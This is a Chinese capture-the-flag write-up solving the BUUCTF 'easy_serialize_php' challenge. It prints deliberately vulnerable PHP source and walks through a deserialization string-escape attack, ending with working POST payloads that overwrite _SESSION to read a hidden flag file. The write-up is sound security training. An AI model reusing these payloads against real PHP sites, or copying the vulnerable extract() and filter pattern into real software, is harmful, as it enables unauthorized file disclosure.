BUUCTF [安洵杯 2019]easy_serialize_php

期末复习累了，做道CTF题目放松一下，做完就复习信安数学
打开后看到源码

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

代码很长但很简单，根据提示先看看phpinfo，发现

有可能flag就在这里面。那肯定要通过这一句来获取

file_get_contents(base64_decode($userinfo['img']));

看下img从哪里来

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

有个sha1和base64_encode，几乎不可能将img的值变成d0g3_flag.php
将目光锁定到fiter函数，这里存在字符减少的情况，可能会导致反序列化字符串逃逸

$serialize_info = filter(serialize($_SESSION));

这个$_SESSION的值我们可以通过变量覆盖来控制
测试：

<?php
error_reporting(0);
session_start();
$_SESSION["session1"]='a';
$_SESSION['session2']='b';
extract($_POST);
var_dump($_SESSION);
//$_SESSION['session3']='c';
//var_dump($_session)
?>

payload：_SESSION[abc]=123

明显前面两个session值被覆盖了，没有显示，只显示了session3。
那在这道题，$_SESSION就只有两个值，一个是我们POST的值，一个是img。
所以可以通过我们POST的值来造成反序列化逃逸而不反序列化真正的img。
如何构造呢？
base64_encode(‘d0g3_flag.php’)=ZDBnM19mbGFnLnBocA==
base64_encode(‘guest_img.png’)=Z3Vlc3RfaW1nLnBuZw==
要序列化的格式大致是这种

serialize(array('abc'=>';s:6:"7t0ken";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}','img'=>'Z3Vlc3RfaW1nLnBuZw=='));

得到：

a:2:{s:3:"abc";s:53:";s:6:"7t0ken";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

其中abc可控，要达到逃逸的目的，'abc’的字符个数应该等于";s:53:,为7
此时的";s:53:被当作数组的key值进行反序列化，value值为7t0ken
所以abc可以等于phpflag，序列化的结果应该为

a:2:{s:7:"phpflag";s:53:";s:6:"7t0ken";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

经过filter函数后，最终被反序列化的序列为：

a:2:{s:7:"";s:53:";s:6:"7t0ken";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

可以看到这一串

a:2:{s:7:"";s:53:";s:6:"7t0ken";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

恰好可以反序列化，而后面的字符被当作垃圾字符不做处理，造成反序列化逃逸。
测试：

<?php
error_reporting(0);
$a='a:2:{s:7:"";s:53:";s:6:"7t0ken";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}';
$b=unserialize($a);
echo base64_decode($b['img']);
?>

回显成功
payload：

?f=show_image
_SESSION[phpflag]=;s:6:"7t0ken";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

查看源码

base64_encode(’/d0g3_fllllllag’)=L2QwZzNfZmxsbGxsbGFn
恰好二十位

_SESSION[phpflag]=;s:6:"7t0ken";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

拿到flag

好了复习信安数学去了，要挂了